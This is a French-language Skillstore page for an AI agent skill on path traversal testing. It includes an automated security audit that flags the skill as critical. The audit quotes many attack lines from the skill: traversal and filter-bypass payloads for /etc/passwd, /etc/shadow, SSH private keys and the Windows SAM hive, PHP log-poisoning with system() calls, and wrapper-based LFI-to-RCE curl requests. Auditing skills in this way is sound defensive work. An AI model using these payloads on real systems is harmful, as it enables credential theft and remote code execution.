Compétences file-path-traversal
📦
file-path-traversal
Révision du contenu r1 Critique ⚙️ Commandes externes🌐 Accès réseau📁 Accès au système de fichiers
Tester l'exposition à la traversée de chemin
Les failles de traversée de chemin peuvent exposer des fichiers et des identifiants du serveur. Cette compétence guide les testeurs autorisés dans la découverte, la validation, l'évaluation de l'impact et la remédiation.
Prend en charge: Claude Codex Code(CC)
N’installez pas automatiquement ce Skill.
La politique de référence exige un examen par un opérateur avant toute action d’installation.
Installer avec mon Agent
Copiez cette demande dans votre Agent. Elle contient la page Skill de référence et le manifeste.
Demande d’agent
Review the Skillstore skill "file-path-traversal" from https://skillstore.io/skills/sickn33-file-path-traversal.md and its manifest at https://skillstore.io/api/skills/sickn33-file-path-traversal/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Votre Agent doit toujours présenter son plan et demander toute confirmation exigée par la politique de sécurité.
Ressources lisibles par les agents
Utilisez ces liens lorsqu’un Agent IA, un crawler ou un script a besoin d’un contexte propre au lieu de lire toute la page.
Tester
Utilisation de « file-path-traversal ». Un point de terminaison de staging autorisé accepte un paramètre file pour les téléchargements.
Résultat attendu:
- Plan d'évaluation avec périmètre, cas de test sûrs et conditions d'arrêt.
- Liste de contrôle des preuves qui évite de collecter des clés privées ou des hachages de mots de passe.
- Conseils de remédiation utilisant des listes d'autorisation et des vérifications de chemins canoniques.
Utilisation de « file-path-traversal ». Un développeur doit corriger un accès aux fichiers non sécurisé dans un gestionnaire web.
Résultat attendu:
- Résumé de la cause racine pour une construction de chemin non assainie.
- Stratégie de validation recommandée utilisant des chemins canoniques et des noms de fichiers approuvés.
- Idées de tests de régression pour les entrées de traversée, d'encodage et de chemins absolus.
Utilisation de « file-path-traversal ». Un responsable AppSec a besoin d'un libellé de rapport pour une exposition à la traversée confirmée.
Résultat attendu:
- Résumé de l'impact métier avec les données sensibles masquées.
- Justification de la sévérité basée sur les fichiers accessibles et le contexte de l'application.
- Étapes de remédiation concrètes et critères de vérification.
Audit de sécurité
Critiquev6 • 09/07/2026 Ouvrir le rapport versionné
The skill is explicitly offensive and includes payloads for sensitive file disclosure, SSH key targeting, SAM hive access, and LFI-to-RCE escalation. Markdown backtick detections are false positives, but most filesystem, sensitive file, network exploit, and blocker findings are confirmed.
1
Fichiers analysés
493
Lignes analysées
64
Éléments à examiner
0
Faux positifs ignorés
Préoccupations de sécurité confirmées (48)
Critique
SSH directory access
/root/.ssh/id_rsa # Root private key
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Critique
SSH directory access
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Critique
SSH directory access
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Critique
SSH private key file
/root/.ssh/id_rsa # Root private key
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Critique
SSH private key file
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Critique
SSH private key file
C:\Users\<user>\.ssh\id_rsa
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Critique
Windows SAM/registry hive access
C:\windows\system32\config\SAM
The line targets the Windows SAM registry hive. Disclosure can expose local account credential material.
Critique
System password file access
../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Afficher les 48 problèmes confirmés
Critique
System password file access
../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
../../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
../../../../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
curl "http://target.com/image?filename=../../../etc/passwd"
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
curl "http://target.com/download?file=....//....//....//etc/passwd"
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
/etc/shadow
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
....//....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
....\/....\/....\/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
..././..././..././etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
%2e%2e/%2e%2e/%2e%2e/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
../../../etc/passwd%00.jpg
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
../../../etc/passwd%00.png
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
../../../etc/passwd...............................
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
../../../etc/passwd.jpg.php
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
/var/www/images/../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
images/../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
/etc/passwd # User accounts
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
/etc/shadow # Password hashes (root only)
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
# Traverse to /etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
../../../etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
....//....//....//etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
..;/..;/..;/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
/etc/passwd
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
../../../etc/passwd%00.jpg
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
| `../../../etc/passwd` | Linux password file |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
| `....//....//....//etc/passwd` | Bypass simple filter |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
| `/etc/passwd` | Absolute path |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
| Linux | `/etc/passwd` | User accounts |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System password file access
| Linux | `/etc/shadow` | Password hashes |
The line targets /etc/passwd or /etc/shadow through traversal or absolute paths. These files can disclose account data and password hashes.
Critique
System reconnaissance
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The whoami check is embedded in an LFI-to-RCE validation flow. It supports command execution confirmation on a target system.
Critique
System reconnaissance
"http://target.com/page?file=/proc/self/environ&c=whoami"
The whoami check is embedded in an LFI-to-RCE validation flow. It supports command execution confirmation on a target system.
Critique
Explicit Offensive Exploitation Intent
The skill states that it identifies and exploits path traversal and lists exploitation proof with extracted file contents as a deliverable.
The purpose and deliverables explicitly prioritize exploitation and extracted file contents. This is intent-level evidence beyond individual payload strings.
Critique
LFI to Remote Code Execution Escalation
The skill provides log poisoning, proc environment, PHP wrapper, data wrapper, and expect wrapper escalation paths from LFI to command execution.
The section is explicitly titled as escalation and includes command execution techniques. The intent is clear and technically actionable.
Élevé
SSH host/auth files
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH keys or authorization files. These files are sensitive credentials and should not be retrieved as routine proof.
Élevé
Crypto seed/private key mention
/root/.ssh/id_rsa # Root private key
The line explicitly references private key material. This is sensitive credential content even when shown as a test target.
Élevé
Crypto seed/private key mention
/home/<user>/.ssh/id_rsa # User private keys
The line explicitly references private key material. This is sensitive credential content even when shown as a test target.
Élevé
Automated Fuzzing Against Web Targets
The skill walks users through Burp Intruder, ffuf, and wfuzz workflows to attack file parameters and filter successful responses.
The section provides a complete automated testing workflow against target URLs. It can be legitimate only inside authorized scope.
Faible
System reconnaissance
/etc/hostname # System hostname
The line lists /etc/hostname as a traversal target. Hostname disclosure supports system reconnaissance.
Éléments d’évaluation des capacités (64)
Il s’agit de capacités locales réelles qui peuvent être attendues pour cette compétence ; elles nécessitent donc un examen, mais ne sont pas comptabilisées comme comportement malveillant confirmé.
Critique
Ruby/PHP system() call
curl -A "<?php system('id'); ?>" \
The example embeds PHP system() inside an LFI exploitation workflow. It teaches command execution on a target, not only benign detection.
Critique
Ruby/PHP system() call
curl -X POST -d "<?php system('id'); ?>" \
The example embeds PHP system() inside an LFI exploitation workflow. It teaches command execution on a target, not only benign detection.
Critique
Hardcoded URL
curl "http://target.com/image?filename=../../../etc/passwd"
The HTTP request template attempts to retrieve /etc/passwd through traversal. The placeholder host does not remove the sensitive file access intent.
Critique
Hardcoded URL
curl "http://target.com/download?file=....//....//....//etc/passwd"
The HTTP request template attempts to retrieve /etc/passwd through traversal. The placeholder host does not remove the sensitive file access intent.
Critique
Hardcoded URL
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critique
Hardcoded URL
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critique
Hardcoded URL
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critique
Hardcoded URL
"http://target.com/page?file=/proc/self/environ"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critique
Hardcoded URL
"http://target.com/page?file=/proc/self/environ&c=whoami"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critique
Hardcoded URL
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critique
Hardcoded URL
"http://target.com/page?file=php://input"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critique
Hardcoded URL
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critique
Hardcoded URL
curl "http://target.com/page?file=expect://id"
The HTTP request is part of source disclosure, log poisoning, or LFI-to-RCE exploitation. It can expose sensitive data or validate command execution.
Critique
Hidden file access
/root/.ssh/id_rsa # Root private key
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
Critique
Hidden file access
/root/.ssh/authorized_keys # Authorized keys
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
Critique
Hidden file access
/home/<user>/.ssh/id_rsa # User private keys
The line targets SSH private or authorization files. Access to these files can expose credentials or enable unauthorized access.
Critique
Linux /proc filesystem access
/proc/self/environ
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Critique
Linux /proc filesystem access
/proc/self/environ # Environment variables
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Critique
Linux /proc filesystem access
"http://target.com/page?file=/proc/self/environ"
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Critique
Linux /proc filesystem access
"http://target.com/page?file=/proc/self/environ&c=whoami"
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Critique
Linux /proc filesystem access
| Linux | `/proc/self/environ` | Environment vars |
The /proc/self/environ target can expose environment secrets and is used in the RCE workflow. This is high-impact process data access.
Élevé
Hardcoded URL
ffuf -u "http://target.com/image?filename=FUZZ" \
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
Élevé
Hardcoded URL
ffuf -u "http://target.com/page?file=FUZZ" \
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
Élevé
Hardcoded URL
"http://target.com/index.php?file=FUZZ"
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
Élevé
Hardcoded URL
"http://target.com/load?path=FUZZ"
The command automates file parameter fuzzing against an HTTP target. This is offensive network probing that requires strict authorization.
Élevé
Path traversal sequence
- `../` sequence moves up one directory
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
../../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
../../../../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
..\..\..\windows\win.ini
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
..\..\..\..\windows\system32\drivers\etc\hosts
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
..%2F..%2F..%2Fetc%2Fpasswd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
curl "http://target.com/image?filename=../../../etc/passwd"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
curl "http://target.com/download?file=....//....//....//etc/passwd"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
# When ../ is stripped once
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
....//....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
....\/....\/....\/etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
..././..././..././etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
..%2f..%2f..%2fetc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
../../../etc/passwd%00.jpg
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
../../../etc/passwd%00.png
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
../../../etc/passwd...............................
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
../../../etc/passwd.jpg.php
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
/var/www/images/../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
images/../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
..%5c
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
....\\....\\etc\\passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
../../../etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
..%2F..%2F..%2Fetc%2Fpasswd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
....//....//....//etc/passwd
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
../../../etc/passwd%00.jpg
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
| `../../../etc/passwd` | Linux password file |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
| `..\..\..\..\windows\win.ini` | Windows INI file |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
| `....//....//....//etc/passwd` | Bypass simple filter |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
| URL Encoding | `%2e%2e%2f` = `../` |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Path traversal sequence
| Double Encoding | `%252e%252e%252f` = `../` |
The traversal sequence is presented as an exploitation or bypass payload. It is intended to access files outside the application directory.
Élevé
Hidden file access
/var/www/html/.htaccess
The line targets a hidden web server configuration file. Disclosure can reveal access controls, routing, or deployment details.
Élevé
Linux /proc filesystem access
/proc/self/cmdline # Process command line
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
Élevé
Linux /proc filesystem access
/proc/self/fd/0 # File descriptors
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
Élevé
Linux /proc filesystem access
/proc/version # Kernel version
The /proc path can disclose command lines, file descriptors, or kernel details. This supports reconnaissance and sensitive process inspection.
Facteurs de risque
⚙️ Commandes externes (50)
SKILL.md:46-53 SKILL.md:53-56 SKILL.md:56-70 SKILL.md:70-90 SKILL.md:90-93 SKILL.md:93-94 SKILL.md:94-95 SKILL.md:95-96 SKILL.md:96-97 SKILL.md:97-103 SKILL.md:103-121 SKILL.md:121-125 SKILL.md:125-136 SKILL.md:136-142 SKILL.md:142-155 SKILL.md:155-159 SKILL.md:159-169 SKILL.md:169-173 SKILL.md:173-179 SKILL.md:179-183 SKILL.md:183-199 SKILL.md:199-205 SKILL.md:205-244 SKILL.md:244-250 SKILL.md:250-273 SKILL.md:273-279 SKILL.md:279-286 SKILL.md:286-290 SKILL.md:290-300 SKILL.md:300-304 SKILL.md:304-314 SKILL.md:314-320 SKILL.md:320-330 SKILL.md:330-334 SKILL.md:334-342 SKILL.md:342-346 SKILL.md:346-359 SKILL.md:359-365 SKILL.md:365-390 SKILL.md:390-396 SKILL.md:396-416 SKILL.md:416-418 SKILL.md:418-432 SKILL.md:432-440 SKILL.md:440-441 SKILL.md:441-442 SKILL.md:442-443 SKILL.md:443-444 SKILL.md:444-450 SKILL.md:450-451
🌐 Accès réseau (15)
📁 Accès au système de fichiers (47)
SKILL.md:56 SKILL.md:105 SKILL.md:106 SKILL.md:107 SKILL.md:108 SKILL.md:111 SKILL.md:112 SKILL.md:115 SKILL.md:119 SKILL.md:120 SKILL.md:143 SKILL.md:144 SKILL.md:145 SKILL.md:148 SKILL.md:149 SKILL.md:152 SKILL.md:161 SKILL.md:162 SKILL.md:165 SKILL.md:168 SKILL.md:175 SKILL.md:178 SKILL.md:194 SKILL.md:198 SKILL.md:325 SKILL.md:329 SKILL.md:370 SKILL.md:373 SKILL.md:377 SKILL.md:384 SKILL.md:440 SKILL.md:441 SKILL.md:442 SKILL.md:461 SKILL.md:462 SKILL.md:215 SKILL.md:216 SKILL.md:217 SKILL.md:231 SKILL.md:130 SKILL.md:235 SKILL.md:236 SKILL.md:237 SKILL.md:238 SKILL.md:337 SKILL.md:341 SKILL.md:452
Motifs détectés
SSH directory access×3SSH private key file×3Windows SAM/registry hive accessSystem password file access×32System reconnaissance×3
Audité par: codex Voir l’historique des audits →
Partager et citer ce rapport
Partagez le rapport d’évaluation versionné, le badge neutre, la carte intégrable et les citations. Skillstore présente les preuves sans décider si ce Skill est sûr.
Copier le lien du rapport
https://skillstore.io/skills/sickn33-file-path-traversal/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportBadge Markdown
[](https://skillstore.io/skills/sickn33-file-path-traversal?utm_source=security_passport_badge)Badge HTML
<a href="https://skillstore.io/skills/sickn33-file-path-traversal?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-file-path-traversal/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Carte intégrable
<iframe src="https://skillstore.io/embed/skills/sickn33-file-path-traversal.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Citations académiques (APA · BibTeX · CFF)
Citation APA
zebbern. (2026). file-path-traversal security audit report (audit version 6) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-file-path-traversal/audits/6Citation BibTeX
@techreport{zebbern-sickn33-file-path-traversal-2026,
author = {zebbern},
title = {file-path-traversal security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-file-path-traversal/audits/6},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "file-path-traversal security audit report (audit version 6)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-file-path-traversal/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-file-path-traversal:audit:6"
description: "Skillstore immutable audit report identifier"
Score Skillstore
Pourquoi ce score Niveau de confiance des preuves: Moyen 55
Architecture
85
Maintenabilité
85
Contenu
69
Communauté
83
Conformité aux spécifications
Ce que vous pouvez créer
Valider les points de terminaison de téléchargement
Tester si les paramètres de téléchargement ou de visualisation de fichiers peuvent s'échapper du répertoire prévu.
Préparer des tickets de remédiation
Convertir un comportement de traversée confirmé en impact, preuves et conseils de correction clairs.
Examiner la logique d'accès aux fichiers
Comparer la gestion des fichiers par l'application avec la validation des chemins canoniques et les modèles de liste d'autorisation.
Essayez ces prompts
Expliquer le risque
Explique comment la traversée de chemin pourrait affecter cette fonctionnalité de staging autorisée. Concentre-toi sur les étapes de validation sécurisée et de remédiation.
Créer un plan de test
Construis un plan de test de traversée de chemin pour ce point de terminaison inclus dans le périmètre. Inclue les prérequis, la gestion des preuves et les conditions d'arrêt.
Analyser les résultats
Examine ces résultats de test autorisés et classe l'impact. Masque les données sensibles et recommande des corrections pour chaque paramètre affecté.
Planifier une escalade contrôlée
Pour un laboratoire approuvé, décris quand une LFI peut devenir une exécution de code. Inclue les approbations, le confinement et la collecte sécurisée des preuves.
Bonnes pratiques
- Confirmer l'autorisation écrite et le périmètre avant d'exécuter tout test.
- Utiliser des fichiers canary ou des fixtures de laboratoire avant de tenter des chemins sensibles.
- Masquer les secrets et associer chaque constat à des conseils de remédiation.
Éviter
- Exécuter des payloads de traversée contre des systèmes hors du périmètre approuvé.
- Collecter des clés privées, des hachages de mots de passe ou des tokens comme preuve.
- Considérer qu'un payload bloqué prouve que le code est sûr.
Foire aux questions
Qui devrait utiliser cette compétence ?
Les testeurs sécurité, les ingénieurs AppSec et les développeurs travaillant sur des évaluations autorisées d'applications web.
Cette compétence nécessite-t-elle une autorisation ?
Oui. Utilisez-la uniquement avec une autorisation écrite et un périmètre clair.
Peut-elle aider à la remédiation ?
Oui. Elle inclut des conseils sur les listes d'autorisation, les chemins canoniques et l'accès sécurisé aux fichiers.
Collecte-t-elle automatiquement des secrets ?
Non. La compétence fournit uniquement des conseils, mais des prompts non sécurisés peuvent entraîner l'exposition de données sensibles.
Quels outils mentionne-t-elle ?
Elle fait référence aux outils de développement du navigateur, à Burp Suite, OWASP ZAP, cURL, ffuf et wfuzz.
Est-elle adaptée aux tests en production ?
Uniquement avec une approbation explicite, des limites de débit prudentes et des règles de gestion des preuves.